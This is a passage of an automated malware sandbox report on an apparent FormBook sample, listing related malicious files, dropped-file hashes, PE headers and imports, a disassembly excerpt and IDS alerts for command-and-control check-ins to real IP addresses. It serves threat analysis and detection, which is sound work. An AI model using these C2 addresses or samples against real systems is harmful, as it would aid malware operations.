CST-AS-APCAMBODIANSINGMENGTELEMEDIACOLTDKH	mBms4I508x.exe	Get hash	malicious	FormBook	Browse	114.134.188.182
	VkTNb6p288.exe	Get hash	malicious	FormBook	Browse	114.134.188.182
	#GtantTTcopy.exe	Get hash	malicious	FormBook	Browse	114.134.188.182
	NEW INVOICE.exe	Get hash	malicious	FormBook	Browse	114.134.188.182
	shipping documents_pdf.exe	Get hash	malicious	FormBook	Browse	114.134.188.182
	gEMSIEpwB7.elf	Get hash	malicious	Mirai, Moobot	Browse	43.252.80.166
	f1Am6eCgwR.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	111.92.243.131
	uDQWmosR8J.elf	Get hash	malicious	Unknown	Browse	115.178.25.122
	doc_invoice_no20233004.exe	Get hash	malicious	FormBook, GuLoader	Browse	114.134.188.88
	TzIrVCurxt.elf	Get hash	malicious	Unknown	Browse	111.92.240.98
CLOUDFLARENETUS	46roqD3HEE.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	https://nfetgz.hascl.co.uk/YvkFcBQO	Get hash	malicious	Unknown	Browse	188.114.96.3
	iENcsTur6E.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	yakuza.mipsel.elf	Get hash	malicious	Unknown	Browse	8.6.157.21
	Pi648je050.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	3Pd480eWHA.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	6ehOuQ8ifL.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	173090160965f4af6053e0cc550b1580793735ec4c6bd2a63005d1f358aeab4a3375f6790f876.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	SecuriteInfo.com.FileRepMalware.29777.16321.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.5.155
CLOUDFLARENETUS	46roqD3HEE.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	https://nfetgz.hascl.co.uk/YvkFcBQO	Get hash	malicious	Unknown	Browse	188.114.96.3
	iENcsTur6E.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	yakuza.mipsel.elf	Get hash	malicious	Unknown	Browse	8.6.157.21
	Pi648je050.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	3Pd480eWHA.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	6ehOuQ8ifL.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	173090160965f4af6053e0cc550b1580793735ec4c6bd2a63005d1f358aeab4a3375f6790f876.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	SecuriteInfo.com.FileRepMalware.29777.16321.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.5.155

Process:	C:\Windows\SysWOW64\choice.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1221538113908904
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:r2qOB1nxCkvSAELyKOMq+8ETZKoxAX
MD5:	C1AE02DC8BFF5DD65491BF71C0B740A7
SHA1:	6B68C7B76FB3D1F36D6CF003C60B1571C62C0E0F
SHA-256:	CF2E96737B5DDC980E0F71003E391399AAE5124C091C254E4CCCBC2A370757D7
SHA-512:	01F8CA51310726726B0B936385C869CDDBC9DD996B488E539B72C580BD394219774C435482E618D58EB8F08D411411B63912105E4047CB29F845B2D07DE3E0E1
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Nasalis

Download File

Process:	C:\Users\user\Desktop\2rI5YEg7uo.exe
File Type:	data
Category:	dropped
Size (bytes):	286208
Entropy (8bit):	7.994918839542827
Encrypted:	true
SSDEEP:	6144:Rfv+RJOtCGSxXhOi0B30nHReoeNUy7nWA6Bs6wE+p8Ymta:wRo/SxXQi0tvHUy7nSfwE+p
MD5:	2780010A5762B0234D68989AB15F08CF
SHA1:	B1E879CEA16A29D428C31D4DAC72484622539A5D
SHA-256:	40C4A311A969E298D2F61532285FD0BFF5EC384FF1F9248BCFB69E8D92EA85C0
SHA-512:	7B4119BF517ACF623623D114CEC3763D168FE57FB2329A35A260B3B8D43D19CE9008A8491DA801CBDE325F0A8EC831E97C451BCDE40E3601E6E47E8BBEAC5319
Malicious:	false
Reputation:	low
Preview:	t.sc.ZFNN...;....v.EA....2G...NXW12Z66ZJLEBX9R61OZFNNXW12Z66.JLELG.\6.F.g.O...f2_Ez:>%X?.R.4(!:x5T.(CXz#"e..jr[^+?hCCRs12Z66ZJ5DK..2Q.r:!.s80.(...`*+.X....Q(.\..kQU.d_9"q%%.9R61OZFN..W1~[76.<..BX9R61OZ.NLY\09Z6z^JLEBX9R61.IFNNHW12:26ZJ.EBH9R63OZ@NNXW12Z06ZJLEBX9221OXFNNXW10Zv.ZJ\EBH9R61_ZF^NXW12Z&6ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z.B?28EBX..21OJFNN.S12J66ZJLEBX9R61OZfNN8W12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNXW12Z66ZJLEBX9R61OZFNNX

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.503420861304118
TrID:	Win32 Executable (generic) a (10002005/4) 95.11% AutoIt3 compiled script executable (510682/80) 4.86% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	2rI5YEg7uo.exe
File size:	1'311'705 bytes
MD5:	e2560d29e3997021600bec5fb7e2478c
SHA1:	1db0e0d2af621bb435fcb5e6f04289fa4b85613f
SHA256:	5432ecfa629e847fc7d82d4d006e5aa0d805088ab31e3a75d0813f902ed66576
SHA512:	c8f1f62ff2937f21c372b11af3e2db8d1eeb2f85cf4b7ce9f240c637f1b77de64790eb2bc803b8e8abd79bd9293cdfb0f1aadd0ce511ac0830f6a6534e7df974
SSDEEP:	24576:ffmMv6Ckr7Mny5QLnii+VoRMNz16TxnB84r+OVp8cMf:f3v+7/5QLnIVom5gtBf9p8cY
TLSH:	B455F112B7D680B6D9A33871293BE72BDB3575194323C497A7E02F779F111409B3A3A2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i...i...i.....9.k...`.:.w...`.,.....`.+.P...N%..c...N%..H...i...d...`. ./...w.:.k...w.;.h...i.8.h...`.>.h...Richi..........

File Icon


Icon Hash:	1733312925935517

Static PE Info

General

Entrypoint:	0x416310
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4B93CF87 [Sun Mar 7 16:08:39 2010 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	aaaa8913c89c8aa4a5d93f06853894da

Entrypoint Preview

Instruction
call 00007F672CB7AAFCh
jmp 00007F672CB6E8CEh
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F672CB6EA5Ah
cmp edi, eax
jc 00007F672CB6EBFAh
cmp ecx, 00000100h
jc 00007F672CB6EA71h
cmp dword ptr [004A94E0h], 00000000h
je 00007F672CB6EA68h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007F672CB6EA5Ah
pop esi
pop edi
pop ebp
jmp 00007F672CB6EEBAh
test edi, 00000003h
jne 00007F672CB6EA67h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007F672CB6EA7Ch
rep movsd
jmp dword ptr [00416494h+edx*4]
nop
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007F672CB6EA5Eh
and eax, 03h
add ecx, eax
jmp dword ptr [004163A8h+eax*4]
jmp dword ptr [004164A4h+ecx*4]
nop
jmp dword ptr [00416428h+ecx*4]
nop
mov eax, E4004163h
arpl word ptr [ecx+00h], ax
or byte ptr [ecx+eax*2+00h], ah
and edx, ecx
mov al, byte ptr [esi]
mov byte ptr [edi], al
mov al, byte ptr [esi+01h]
mov byte ptr [edi+01h], al
mov al, byte ptr [esi+02h]
shr ecx, 02h
mov byte ptr [edi+02h], al
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007F672CB6EA1Eh

Rich Headers

Programming Language:

[ASM] VS2008 SP1 build 30729
[ C ] VS2008 SP1 build 30729
[C++] VS2008 SP1 build 30729
[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[ASM] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8cd3c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x9298	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x840	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x80017	0x80200	6c20c6bf686768b6f134f5bd508171bc	False	0.5602991615853659	data	6.634688230255595	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xd95c	0xda00	f979966509a93083729d23cdfd2a6f2d	False	0.36256450688073394	data	4.880040824124099	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a518	0x6800	e5d77411f751d28c6eee48a743606795	False	0.1600060096153846	data	2.2017649896261107	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x9298	0x9400	f6be76de0ef2c68f397158bf01bdef3e	False	0.4896801097972973	data	5.530303089784181	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab940	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.48109756097560974
RT_ICON	0xabfa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.5672043010752689
RT_ICON	0xac290	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.6418918918918919
RT_ICON	0xac3b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.7044243070362474
RT_ICON	0xad260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.8077617328519856
RT_ICON	0xadb08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.5903179190751445
RT_ICON	0xae070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.5503112033195021
RT_ICON	0xb0618	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.6050656660412758
RT_ICON	0xb16c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.7553191489361702
RT_MENU	0xb1b28	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xb1b78	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xb1c78	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xb21a8	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xb2838	0x43a	data	English	Great Britain	0.3733826247689464
RT_STRING	0xb2c78	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xb3278	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xb38d8	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xb3c60	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xb3db8	0x84	data	English	Great Britain	0.6439393939393939
RT_GROUP_ICON	0xb3e40	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xb3e58	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xb3e70	0x14	data	English	Great Britain	1.25
RT_VERSION	0xb3e88	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xb4028	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, MultiByteToWideChar, WideCharToMultiByte, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, lstrcmpiW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, GetProcessHeap, OutputDebugStringW, GetLocalTime, CompareStringW, CompareStringA, InterlockedIncrement, InterlockedDecrement, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetComputerNameW, GetWindowsDirectoryW, GetSystemDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ResumeThread, GetStartupInfoW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetModuleFileNameA, HeapReAlloc, HeapCreate, SetHandleCount, GetFileType, GetStartupInfoA, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, LCMapStringA, RtlUnwind, SetFilePointer, GetTimeZoneInformation, GetTimeFormatA, GetDateFormatA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetTickCount, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, GetModuleHandleA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA, SetEndOfFile, EnumResourceNamesW, SetEnvironmentVariableA
USER32.dll	SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, CopyImage, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, PeekMessageW, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, MoveWindow, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, GetMenuItemID, TranslateMessage, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, UnregisterHotKey, CharLowerBuffW, MonitorFromRect, keybd_event, LoadImageW, GetWindowLongW
GDI32.dll	DeleteObject, GetObjectW, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, BeginPath, Rectangle, GetDeviceCaps, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, SetViewportOrgEx
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, RegEnumKeyExW, CloseServiceHandle, UnlockServiceDatabase, LockServiceDatabase, OpenSCManagerW, InitiateSystemShutdownExW, AdjustTokenPrivileges, RegCloseKey, RegQueryValueExW, RegOpenKeyExW, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, SetSecurityDescriptorDacl, CopySid, LogonUserW, GetTokenInformation, GetAclInformation, GetAce, AddAce, GetSecurityDescriptorDacl
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, StringFromCLSID, IIDFromString, StringFromIID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize
OLEAUT32.dll	SafeArrayAllocData, SafeArrayAllocDescriptorEx, SysAllocString, OleLoadPicture, SafeArrayGetVartype, SafeArrayDestroyData, SafeArrayAccessData, VarR8FromDec, VariantTimeToSystemTime, VariantClear, VariantCopy, VariantInit, SafeArrayDestroyDescriptor, LoadRegTypeLib, GetActiveObject, SafeArrayUnaccessData

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-06T15:23:36.489960+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.9	49706	TCP
2024-11-06T15:24:14.968778+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.9	49710	TCP
2024-11-06T15:24:19.482616+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49711	107.148.177.200	80	TCP
2024-11-06T15:24:21.942981+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49712	107.148.177.200	80	TCP
2024-11-06T15:24:24.505402+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49713	107.148.177.200	80	TCP
2024-11-06T15:24:33.411645+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49715	114.134.188.182	80	TCP
2024-11-06T15:24:36.130359+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49716	114.134.188.182	80	TCP
2024-11-06T15:24:38.708714+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49718	114.134.188.182	80	TCP
2024-11-06T15:24:47.543146+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49722	3.33.130.190	80	TCP
2024-11-06T15:24:50.174436+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49723	3.33.130.190	80	TCP
2024-11-06T15:24:52.724242+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49724	3.33.130.190	80	TCP
2024-11-06T15:25:00.976036+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49726	3.33.130.190	80	TCP
2024-11-06T15:25:03.783987+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49727	3.33.130.190	80	TCP
2024-11-06T15:25:07.349175+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49728	3.33.130.190	80	TCP
2024-11-06T15:25:14.870532+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49730	3.33.130.190	80	TCP
2024-11-06T15:25:17.421142+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49731	3.33.130.190	80	TCP
2024-11-06T15:25:20.075635+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49732	3.33.130.190	80	TCP
2024-11-06T15:25:30.802627+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49734	221.128.225.57	80	TCP
2024-11-06T15:25:33.405593+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49735	221.128.225.57	80	TCP
2024-11-06T15:25:36.138438+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49736	221.128.225.57	80	TCP
2024-11-06T15:25:44.846011+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49738	203.161.41.204	80	TCP
2024-11-06T15:25:47.472775+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49739	203.161.41.204	80	TCP
2024-11-06T15:25:49.957728+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49740	203.161.41.204	80	TCP
2024-11-06T15:25:58.519516+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49742	188.114.96.3	80	TCP
2024-11-06T15:26:01.080884+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49743	188.114.96.3	80	TCP
2024-11-06T15:26:03.584489+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	49744	188.114.96.3	80	TCP
